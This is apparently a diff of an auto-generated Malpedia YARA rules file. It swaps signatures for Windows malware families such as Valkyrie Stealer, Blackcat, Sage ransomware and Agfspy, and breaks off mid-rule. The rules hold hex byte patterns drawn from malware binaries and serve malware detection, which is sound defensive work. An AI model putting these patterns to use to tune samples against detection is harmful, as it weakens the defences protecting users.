@@ -101234,32 +101420,32 @@ rule MALPEDIA_Win_Valkyrie_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89442430 85c0 0f85ab130000 4a8b4c3500 44396914 7d18 e8???????? } - $sequence_1 = { 85c9 741c 498b07 44386067 750f 498b8788000000 488d0c49 } - $sequence_2 = { e8???????? 448b4ddc eb2a 8d4101 418907 488d0c49 488b8388000000 } - $sequence_3 = { 8bc2 c645b82d c1e81f 03d0 c645bb20 c645be3a 8d0492 } - $sequence_4 = { 8bde eb4e 803c3e75 751b 8d4305 413bc6 7359 } - $sequence_5 = { e8???????? 8d4701 e9???????? 8bcd 488d15829f0b00 4803ce 41b804000000 } - $sequence_6 = { 8b8590000000 ffc8 4898 488d0c40 488d1ccf 0fbe4301 3cfa } - $sequence_7 = { 7417 4c8b542448 41f6427002 750b 410fbae61c 0f820c010000 488b85f0000000 } - $sequence_8 = { 488bf0 4885c0 0f84cb000000 837d0800 7411 488b4f20 498bd6 } - $sequence_9 = { eb25 48c744242002000000 4c8d0d17781100 4533c0 ba02000000 488d8c2498000000 e8???????? } + $sequence_0 = { 488bcb 4803f7 e8???????? eb38 488d0d190f0100 e8???????? b905000000 } + $sequence_1 = { f6431840 4c8d0d0269ffff 0f85a5000000 488bcb e8???????? 488d15fdd30000 413bc6 } + $sequence_2 = { 4c8bf8 e8???????? 488d0d86d20000 4c8bf0 e8???????? 488d0d7fd20000 4c8be8 } + $sequence_3 = { 48894608 4803c8 e8???????? 8b54244c } + $sequence_4 = { 8a4f02 4c8bf0 884803 488bcf e8???????? 8b06 } + $sequence_5 = { 4c8d0d35db0000 33c0 498bd1 448d4008 3b0a 742b ffc0 } + $sequence_6 = { ff15???????? 488b5c2430 488bcb 8d78fb ff15???????? 03c7 } + $sequence_7 = { 498bd5 498bce ff15???????? 33ff } + $sequence_8 = { 7e74 817d0063736de0 7528 48833d????????00 741e 488d0d79db0000 } + $sequence_9 = { e9???????? 488bca ff15???????? 83f847 75eb 488bcd ff15???????? } condition: - 7 of them and filesize < 2895872 + 7 of them and filesize < 222784 } -rule MALPEDIA_Win_Supernova_Auto : FILE +rule MALPEDIA_Win_Nimrev_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b0d23010-e706-5a6c-87f1-b10df99d0461" + id = "45a43e4c-b390-5a59-8f10-bde6512a2548" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.supernova" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.supernova_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimrev_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "3eb1ef4641d5ab988a67e433660b28cc5e0a8f3de783c5473bb118a467afaed4" + logic_hash = "cfe876922fc1333031ee5c82f8f6e15e7c6a81cc34499037bfc98c907bd66dbf" score = 75 quality = 75 tags = "FILE" @@ -101273,32 +101459,32 @@ rule MALPEDIA_Win_Supernova_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 1107 17 91 1f50 3339 1107 } - $sequence_1 = { 1308 03 6f0b00000a 6f1c00000a 1107 16 } - $sequence_2 = { 26 25 6f2800000a 72b1010070 } - $sequence_3 = { 19 91 1f47 3329 } - $sequence_4 = { 3341 1107 17 91 1f50 3339 } - $sequence_5 = { 1f0a 9d 6f0a00000a 1304 03 6f0b00000a } - $sequence_6 = { de00 03 6f0800000a 6f0e00000a } - $sequence_7 = { 3309 72e3000070 1308 2b5a 1107 } - $sequence_8 = { 16 91 2089000000 3341 } - $sequence_9 = { 7e01000004 7211010070 1109 6f2200000a de00 03 6f0b00000a } + $sequence_0 = { 8845ef eb01 90 807def00 } + $sequence_1 = { 0fb600 3c5f 7507 b801000000 } + $sequence_2 = { 3c7d 7407 b801000000 eb05 } + $sequence_3 = { 7507 b801000000 eb05 b800000000 8845f7 eb01 90 } + $sequence_4 = { 0fb600 3c7d 7407 b801000000 eb05 b800000000 } + $sequence_5 = { ffd0 90 e9???????? 90 b9d0070000 } + $sequence_6 = { c1e002 01d0 01c0 29c1 89c8 83c030 89c1 } + $sequence_7 = { 89c2 89d0 c1e002 01d0 01c0 29c1 89c8 } + $sequence_8 = { 83f001 84c0 7408 90 e8???????? eb01 } + $sequence_9 = { 0f9ec0 8845ef eb01 90 807def00 } condition: - 7 of them and filesize < 50176 + 7 of them and filesize < 1141760 } -rule MALPEDIA_Win_Varenyky_Auto : FILE +rule MALPEDIA_Win_Rook_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d2bf30dc-4373-5dce-a9a9-0dfa02ec7d8e" + id = "260fb3cd-c612-5c83-b4f7-79756559f934" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.varenyky_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rook_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "80f9f91b6d82bcfc676dfe7703a76fa743f54b58e262b45f8642f9e3f2fdc01d" + logic_hash = "c73a208061affa8ef6930cc993d1e8f8eb5228d371bb421012877d9aae5cbf16" score = 75 quality = 75 tags = "FILE" @@ -101312,32 +101498,32 @@ rule MALPEDIA_Win_Varenyky_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 1bc0 83d8ff 85c0 0f8467010000 8d8c2490000000 51 6804010000 } - $sequence_1 = { 85c0 0f8ef7010000 8b15???????? a0???????? 6a00 } - $sequence_2 = { bf697a0000 3bc3 7411 90 69ff81000000 } - $sequence_3 = { 8d8c2454010000 68???????? 51 e8???????? 8d84245c010000 83c40c 8d5001 } - $sequence_4 = { 83c40c 8d4c2418 51 8d94244c030000 } - $sequence_5 = { 57 e8???????? 83c404 3c33 } - $sequence_6 = { 8d84244d030000 53 50 c744242404010000 889c2454030000 e8???????? } - $sequence_7 = { 0f8c0b0a0000 8ac2 2c20 3c58 7711 0fbec2 0fbe8030c24000 } - $sequence_8 = { 3bc3 7411 90 69ff81000000 41 } - $sequence_9 = { 8b84241c010000 83c40c 50 33d2 80bc242602000001 b905000000 0f95c2 } + $sequence_0 = { ffc3 4883c708 83fb22 72df 498bd6 488bcd ff15???????? } + $sequence_1 = { 0f8521ffffff 44882b eb7b 488b9540070000 4c8d05979e0000 498bce } + $sequence_2 = { 33d2 ff15???????? 488b0d???????? 4d8bc7 33d2 ff15???????? 833d????????00 } + $sequence_3 = { ff15???????? 488bce e8???????? 488d542440 488bcd ff15???????? 85c0 } + $sequence_4 = { 4883ec38 488d05f5990000 41b91b000000 4889442420 e8???????? 4883c438 c3 } + $sequence_5 = { 498bd6 4d8d8115cc0400 4d03c4 0f1f4000 410fb64410ff 3cff 740b } + $sequence_6 = { c605????????63 4c8d250099ffff b8ff000000 4d8d4901 } + $sequence_7 = { 498bcd 4c89bc2458270000 ff15???????? 488b0d???????? 4d8bc5 33d2 4c8be0 } + $sequence_8 = { 8bd9 4c8d0dddce0000 b904000000 4c8d05c9ce0000 488d15b2bb0000 e8???????? } + $sequence_9 = { 4863c8 4c8d4c2450 48894c2420 e8???????? 488d4c2450 ff15???????? } condition: - 7 of them and filesize < 24846336 + 7 of them and filesize < 843776 } -rule MALPEDIA_Win_Rustonotto_Auto : FILE +rule MALPEDIA_Win_Doorme_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c96a83b8-aab4-55d7-a6bc-2f4705409146" + id = "a443311b-0d69-50e1-b7af-6bea174db5b1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustonotto" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rustonotto_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doorme_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "1a2f2499fd9c35d46eb281cf2189d5af496ab41ea2f40681381bfb3d9321a241" + logic_hash = "9459417024dba9c22cb08f7485ab12bc8f994d94a97e4b89e9d80101a9a838df" score = 75 quality = 75 tags = "FILE" @@ -101351,32 +101537,32 @@ rule MALPEDIA_Win_Rustonotto_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 4889fa 84c0 0f84befdffff 488b0d???????? 488b4138 4885c0 } - $sequence_1 = { e8???????? 4983c4f9 488d8528010000 0f1f4000 4c8b30 450fb7aed2030000 498d742401 } - $sequence_2 = { eb02 31c0 66897d08 6689750a 488945f8 488d05a4751800 48894500 } - $sequence_3 = { eb0f b908000000 ba18000000 e8???????? 0f0b 90 4889542410 } - $sequence_4 = { 84c0 0f85d8feffff c6470101 e9???????? c685c700000000 e8???????? 84c0 } - $sequence_5 = { 740f 488d4d60 488b5550 4c8b4558 ff5020 90 4883c430 } - $sequence_6 = { e8???????? 0fb64520 3c03 751f 4183bf1801000001 0f858d000000 66c7060305 } - $sequence_7 = { e8???????? 8b8580040000 83f802 7432 83f803 0f84ba1d0000 a801 } - $sequence_8 = { 747b 8b514c 448b8990000000 4101d1 b801000000 7058 0f88f4010000 } - $sequence_9 = { c6858f04000001 c6858e04000000 8b8578040000 88858d040000 c6858c04000001 c6858b04000001 488d0d2f2a1000 } + $sequence_0 = { 817d0063736de0 7528 48833d????????00 741e 488d0d70e50100 e8???????? 85c0 } + $sequence_1 = { 488bd8 488d9530010000 4883bd4801000010 480f439530010000 498b07 4c8d85e8000000 } + $sequence_2 = { 483bf8 7730 488d041f 48894548 488d4538 4983fe10 480f434538 } + $sequence_3 = { e8???????? 49897f10 49c747180f000000 41c60700 498b5618 4883fa10 0f82adfeffff } + $sequence_4 = { 4532d1 44881408 418d4001 440fb60c08 8d4705 4432cd } + $sequence_5 = { 488bd8 4885db 488d0571b80100 488d4f58 480f44d8 488bd3 488b5c2430 } + $sequence_6 = { 48c7c03f000000 23c1 488d0d4abb0100 f20f5904c1 f20f5804c1 660f72e406 660f73f434 } + $sequence_7 = { e8???????? 488b5c2430 4883c420 5f c3 4883ec28 4c8d0d0d660100 } + $sequence_8 = { 488d0538030300 49894408f0 488b07 4c634004 } + $sequence_9 = { 48894308 48895e40 48897e48 48896e50 488bce e8???????? 884658 } condition: - 7 of them and filesize < 5989376 + 7 of them and filesize < 580608 } -rule MALPEDIA_Win_Blackcat_Auto : FILE +rule MALPEDIA_Win_Threebyte_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7d7e215c-b7ec-5d55-a8aa-0595745c47b1" + id = "799d81f4-c3a7-51cd-8c7b-153e88acd8dd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackcat_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.threebyte_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "f613dd0b295abc7ed25049f8912ac5a26d116d8e5b2b8db308f5a3d66d3b2048" + logic_hash = "2ca2547a0ff0213816f73a796ceafd61c5b00d7d4af221dfd97f4e43556e0e8c" score = 75 quality = 75 tags = "FILE" @@ -101390,32 +101576,32 @@ rule MALPEDIA_Win_Blackcat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4701 31c9 31d2 89460c 4f c745f000000000 } - $sequence_1 = { 3c02 7351 88c4 8975cc } - $sequence_2 = { 8945e8 0f83a1000000 85db 0f8499000000 803c3b5f } - $sequence_3 = { 81f902010000 747b e9???????? 8d81d6c3ffff 83f802 726b 81f9ed350000 } - $sequence_4 = { 31f6 c70201000000 c7420400000000 894208 c7420c00000000 0fb788d6040000 } - $sequence_5 = { c1e203 662e0f1f840000000000 90 85d2 7411 8b39 83c108 } - $sequence_6 = { 0f1f840000000000 6690 55 89e5 } - $sequence_7 = { 8b450c 89d6 8a10 80c2e6 80fa05 7779 } - $sequence_8 = { 80c230 8894056bffffff 48 e9???????? } - $sequence_9 = { 83c40c 84c0 0f858b010000 8d4704 } + $sequence_0 = { 8b9598fbffff 52 8d859cfbffff 50 8d8d4cf7ffff 51 8d956cf7ffff } + $sequence_1 = { 6a20 68cc000000 8d8de0fdffff 51 e8???????? 83c40c } + $sequence_2 = { c68531faffff6d c68532faffff65 c68533faffff00 8d8d28faffff 51 8b95a8faffff 52 } + $sequence_3 = { 52 8d8544feffff 50 8d8dccfeffff 51 e8???????? } + $sequence_4 = { ff15???????? 8d95ccfcffff 52 8d8510f8ffff 50 8d8dd0fdffff 51 } + $sequence_5 = { c685b1fdffff00 ff15???????? 50 8d8d94fdffff 51 } + $sequence_6 = { 81bda4f7fffff6010000 7507 b8faffffff eb05 b8f9ffffff 5f 8be5 } + $sequence_7 = { e8???????? 83c404 e9???????? 6a02 6a00 6a00 8b95d0fdffff } + $sequence_8 = { 50 e8???????? 83c408 89853cffffff 83bd3cffffff00 } + $sequence_9 = { 3b4d0c 7d15 8b5508 33c0 8a02 8945e0 8b4d08 } condition: - 7 of them and filesize < 29981696 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Killav_Auto : FILE +rule MALPEDIA_Win_Mocton_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "964918fc-ee46-54ff-896b-e1283f7b0e40" + id = "9f4f983b-9c6b-508d-9490-50b17ee1d0df" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killav" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.killav_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mocton" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mocton_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "8efc8b29b31fba331f15fc6d418a70e9cc051d66f52514c3f27af471a4a7b82f" + logic_hash = "16b135f602d0bf1d0d71eee14e2cd809b4b69481edc54d1e4a70e6527694874b" score = 75 quality = 75 tags = "FILE" @@ -101429,34 +101615,34 @@ rule MALPEDIA_Win_Killav_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c408 6a09 33c0 c745d800000000 68???????? 8d4dd8 } - $sequence_1 = { 51 e8???????? 83c408 6a13 33c0 c745d800000000 68???????? } - $sequence_2 = { 85c0 0f84b7910000 83f808 7d0f 6bc018 05???????? } - $sequence_3 = { eb1a 8b4508 8bc8 83e03f c1f906 6bd038 8b0c8d70ba4300 } - $sequence_4 = { 8b0c8d70ba4300 804c112802 5b 2bf7 83e6fe 5f 8bc6 } - $sequence_5 = { 895db8 c745dc01000000 8b048570ba4300 8945d4 0f8533010000 8b55d4 8bc3 } - $sequence_6 = { 8b0b 8b4904 6a00 ff75dc ff75e8 } - $sequence_7 = { 0fb74d08 33c0 663b88bcf34200 740d 83c002 83f814 } - $sequence_8 = { c645fc15 50 8d4dd0 e8???????? c645fc00 } - $sequence_9 = { 741c 81f900000400 7542 0c80 88441628 8b04bd70ba4300 c644102901 } + $sequence_0 = { 8b4d10 e8???????? 8985e4e8ffff 8b85e4e8ffff 2b45a4 3b45dc 7202 } + $sequence_1 = { 83e801 8945d4 8b4dd4 0faf4de8 8b55e4 c1fa05 69d271460389 } + $sequence_2 = { 8b9524fcffff 69d2a44539db 33c0 81fa35ac0e36 0f9cc0 355ba30c98 7461 } + $sequence_3 = { 2b45e4 33c9 3d6b76f951 0f9dc1 33d1 742c 8b55e4 } + $sequence_4 = { 8b95c8e9ffff 83c201 8995c8e9ffff eb4e 8b85c0e9ffff 83e801 8985c0e9ffff } + $sequence_5 = { 83c104 894df8 8b55f8 3b55cc 0f8475060000 c745ac5aee3273 8b45ac } + $sequence_6 = { c745c842fc81f2 c7459cea0bbd91 c745b0238aa931 8b55c8 c1fa03 0faf55b0 b886628d96 } + $sequence_7 = { 898d70feffff 8b9570feffff 81c28029ab41 33c0 399570feffff 0f9dc0 338570feffff } + $sequence_8 = { 0355e4 8b45e4 d1f8 33c9 3b45e4 0f9ec1 33ca } + $sequence_9 = { 33d2 3b8d8cfdffff 0f9cc2 81e2d70a7b03 81f21da6f69d 7419 8b854cfdffff } condition: - 7 of them and filesize < 517120 + 7 of them and filesize < 573440 } -rule MALPEDIA_Win_Broomstick_Auto : FILE +rule MALPEDIA_Win_Skinnyboy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1ab4b8f8-6d0d-5d71-8cc9-a6fff05006b5" + id = "24a64f43-deef-557c-9fd6-67c28ce40905" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.broomstick" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.broomstick_auto.yar#L1-L284" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skinnyboy_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "0c1a3ef9abdd4d0302256ec532496054e8db7eaa8ec35bdd017317b264a8cb67" + logic_hash = "e1fe3c77c85dc8fb19abbee4d29db040d7e39adcf95610e368b642b3c9a51b2e" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -101468,53 +101654,32 @@ rule MALPEDIA_Win_Broomstick_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2bc2 83c002 99 83e203 03c2 } - $sequence_1 = { 03f0 56 e8???????? 8b45dc 83c40c c6040600 eb10 } - $sequence_2 = { 83c40c c6040600 eb10 c645dc00 ff75dc 51 8d4dc0 } - $sequence_3 = { c6400100 8808 eb13 ff75e8 } - $sequence_4 = { 51 50 51 8bce e8???????? 8b4dec } - $sequence_5 = { 83c408 33c0 c7467000000000 c7467407000000 66894660 } - $sequence_6 = { 8b45d4 8b75d0 2bc6 894ddc 51 52 } - $sequence_7 = { 80b9????????3f 76f3 2bc2 83c002 } - $sequence_8 = { 49898688150400 488d4c2428 ffd5 48b80b8b55f8b9616cd5 } - $sequence_9 = { ba01000000 488bcf ff15???????? ba32ac0600 488bcf ff15???????? } - $sequence_10 = { 488d4d38 e8???????? 0f57c0 0f114518 } - $sequence_11 = { 498986876a0300 4889f1 ba07000000 488b2d???????? } - $sequence_12 = { 49898687650300 488d4c2428 41ffd4 4889f1 } - $sequence_13 = { 4c2bc1 ba2c000000 e8???????? 488bc8 4885c0 } - $sequence_14 = { ba01000000 488bcf ff15???????? ba08000000 488bcf ff15???????? 48b8e01fcd305c98c076 } - $sequence_15 = { ba01000000 488bcf ff15???????? ba58000000 488bcf ff15???????? } - $sequence_16 = { ba01000000 488bcf ff15???????? ba3a867600 488bcf ff15???????? } - $sequence_17 = { ba01000000 488bcf ff15???????? ba0a000000 488bcf ff15???????? } - $sequence_18 = { ba01000000 488bcf ff15???????? ba5a000000 488bcf ff15???????? } - $sequence_19 = { 498986876b0300 488d4c2428 41ffd7 4d89fc } - $sequence_20 = { 49898688160400 b917d46400 41ffd4 4889c7 } - $sequence_21 = { 49898688320300 b9bc474300 41ffd4 4889c7 } - $sequence_22 = { 0f114540 4c896d50 4c896d58 4533c0 } - $sequence_23 = { 4c8d053e920100 488bc2 83e23f 48c1f806 488d0cd2 } - $sequence_24 = { ba01000000 488bcf ff15???????? ba31e7ca00 488bcf ff15???????? } - $sequence_25 = { 488d056cc10200 488907 488d057ac10200 0f104318 488b5c2430 } - $sequence_26 = { ba01000000 488bcf ff15???????? ba6ef90b00 488bcf ff15???????? } - $sequence_27 = { 49898688140400 4889f1 4889fa 4c8b3d???????? } - $sequence_28 = { 48c7457807000000 0f1006 0f114560 e9???????? } - $sequence_29 = { 498986876c0300 4889f9 4c8b3d???????? 41ffd7 } - $sequence_30 = { 498bc6 4d8bee 49c1fd06 4c896dc7 488d0d8f3afeff } + $sequence_0 = { 85c0 7403 50 ffd7 ffd3 6a00 } + $sequence_1 = { 0fb68098b20010 83e00f eb02 33c0 8bbdc4fdffff 6bc009 0fb6bc38b8b20010 } + $sequence_2 = { 668b444de4 6631444dd0 41 3bca 72f1 33c0 } + $sequence_3 = { 8d8278040110 8945e4 803800 8bc8 7435 8a4101 84c0 } + $sequence_4 = { 833cfdd80b011000 7515 68a00f0000 56 ff15???????? } + $sequence_5 = { 50 ffd6 8b85e0feffff 85c0 7403 50 } + $sequence_6 = { ffb55cfbffff ff15???????? 85c0 0f85d2feffff ffb55cfbffff ff15???????? ff33 } + $sequence_7 = { ff15???????? 8bf0 6a01 56 ff15???????? 8d4c2420 51 } + $sequence_8 = { 7413 8a8c1564feffff 308c15e4feffff 42 3bd0 72ed } + $sequence_9 = { ff15???????? 8d442430 50 ff15???????? 85c0 742d } condition: - 7 of them and filesize < 1567744 + 7 of them and filesize < 176128 } -rule MALPEDIA_Win_Mirrorkey_Auto : FILE +rule MALPEDIA_Win_Sage_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "23fdf476-29dd-5c48-a2d0-67c951326855" + id = "ee390467-2b1f-5dff-a025-ffcdbd989eda" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirrorkey_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sage_ransom_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "23c2e6c1488c0365d27087d2deccf67b069663ff42f157533379a432751ee152" + logic_hash = "f697fb2bbef92176cedab9ef91a434357e32fdc073b94b3d51cf50581ce561f1" score = 75 quality = 75 tags = "FILE" @@ -101528,32 +101693,38 @@ rule MALPEDIA_Win_Mirrorkey_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8d4db8 c745cc0f000000 c745c800000000 c645b800 } - $sequence_1 = { 50 68???????? 53 c745a400000000 e8???????? 0fbe4317 8d4da8 } - $sequence_2 = { 8b06 eb02 8bc6 c60000 c745fc00000000 8bce a1???????? } - $sequence_3 = { 7406 8a740608 eb03 8a76fc 85c0 752f } - $sequence_4 = { 88442433 8d7808 0f1f440000 53 } - $sequence_5 = { 50 e8???????? ff75fc 8d45fc ff75f8 50 } - $sequence_6 = { 8b85f4feffff 33f6 3930 7446 33db } - $sequence_7 = { 56 ff15???????? 5f 5e c7430400000000 } - $sequence_8 = { 32d3 2503000080 7905 48 } - $sequence_9 = { 85c0 7405 8a0c06 eb03 8a4ef4 } + $sequence_0 = { 01442410 ff15???????? 8bc8 8b442410 2b4c2438 } + $sequence_1 = { 755b 6683780200 7554 6aff ff15???????? 85c0 } + $sequence_2 = { c1e910 0fb74c4c18 c1e010 0bc8 8bd1 } + $sequence_3 = { 837c241000 750b 837c241400 0f84d8000000 8b442410 be00000200 3bc6 } + $sequence_4 = { bbfdffffff 8d4c240c 51 e8???????? 8d54241c 52 } + $sequence_5 = { 56 57 6af5 ff15???????? 8b15???????? 83c204 52 } + $sequence_6 = { 6a41 56 52 e8???????? 56 } + $sequence_7 = { 8bf1 33d2 3bf7 732a 8a06 } + $sequence_8 = { 014110 8b4314 014114 8b4318 } + $sequence_9 = { 014108 8b430c 01410c 8b4310 } + $sequence_10 = { 01410c 8b4310 014110 8b4314 } + $sequence_11 = { 891c24 89442404 e8???????? 8d964ba20000 c744240879020000 } + $sequence_12 = { 014114 8b4318 014118 8b431c } + $sequence_13 = { 013c13 83c102 46 ebd3 } + $sequence_14 = { 0101 8b4304 014104 8b4308 014108 } + $sequence_15 = { 0119 117104 83c110 83c210 } condition: - 7 of them and filesize < 117760 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Kagent_Auto : FILE +rule MALPEDIA_Win_Void_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eeb554cd-bcde-5191-9d05-cd5d3b643304" + id = "941d9913-0086-5f92-b6d2-4c2b84e02b90" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kagent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kagent_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.void" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.void_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "f0789c212010e4f78374ae02f32c05cce682ad24c1e1d92ee73ca388e2879a4e" + logic_hash = "0a42c2ab7a2695a1845afe0b2eb12bba423d7c94d695c9222413c48eaaabdfac" score = 75 quality = 75 tags = "FILE" @@ -101567,71 +101738,69 @@ rule MALPEDIA_Win_Kagent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83ec0c 56 57 8bf8 8b7744 8b4f18 c745f800000000 } - $sequence_1 = { 85c0 7e2b 3bf0 7d51 85f6 784d 8b450c } - $sequence_2 = { ff15???????? 57 ffd6 68???????? e8???????? 83c404 53 } - $sequence_3 = { 50 8d45f4 64a300000000 8a450c 8b5d10 8955ac 8b5518 } - $sequence_4 = { 56 8d75ec e8???????? 8b4804 8b4704 bb01000000 e8???????? } - $sequence_5 = { ffd6 668b542410 663b542420 74ed ff15???????? 33d2 b9e8030000 } - $sequence_6 = { 8b4004 33f6 83c40c 897220 897224 8b5580 52 } - $sequence_7 = { 56 8bf0 57 3b7508 745a 8d542410 33c9 } - $sequence_8 = { e8???????? c7459c09000000 895de8 8d8d6cffffff 51 57 c645fc05 } - $sequence_9 = { 50 68???????? 68???????? e8???????? 83c40c eb24 } + $sequence_0 = { 83e001 0f840c000000 8365ecfe 8d4db8 e9???????? c3 8d8dd4feffff } + $sequence_1 = { 8b4564 83e004 0f840c000000 836564fb 8d4dac e9???????? c3 } + $sequence_2 = { 6a02 8d4d48 e8???????? 8d4548 c745fc02000000 bb01000000 8bce } + $sequence_3 = { 7504 c645f301 8d4db8 c745fcffffffff e8???????? 807df300 0f8569060000 } + $sequence_4 = { 83e914 e9???????? 83e918 e9???????? 83e93c e9???????? 83e904 } + $sequence_5 = { 50 8d4dd8 e8???????? 8d45d8 8d732c 50 8bce } + $sequence_6 = { 50 8bcf e8???????? 8d8d64ffffff c645fc0c e8???????? 33f6 } + $sequence_7 = { 0f8510010000 8b85b8feffff 66c745840100 889d71ffffff c78578ffffff00000000 8b4004 8b8c05f0feffff } condition: - 7 of them and filesize < 4972544 + 7 of them and filesize < 2744320 } -rule MALPEDIA_Win_Unidentified_082_Auto : FILE +rule MALPEDIA_Win_Agfspy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7772581c-e8cf-5615-a758-46ef9c1fc0b0" - date = "2021-10-07" - modified = "2021-10-08" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_082" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_082_auto.yar#L1-L124" + id = "4e342af2-55f5-5fdc-91a0-c4e1164ec1ad" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.agfspy_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "fdfe1ddce9f77ac8b465b0ddebe868c5e77078cf2b2457573a5b3810682f45ee" + logic_hash = "2c968cb953938166f8c4bb13e44158b837061eedd931abcb024c0888547d30a4" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20211007" - malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535" - malpedia_version = "20211008" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 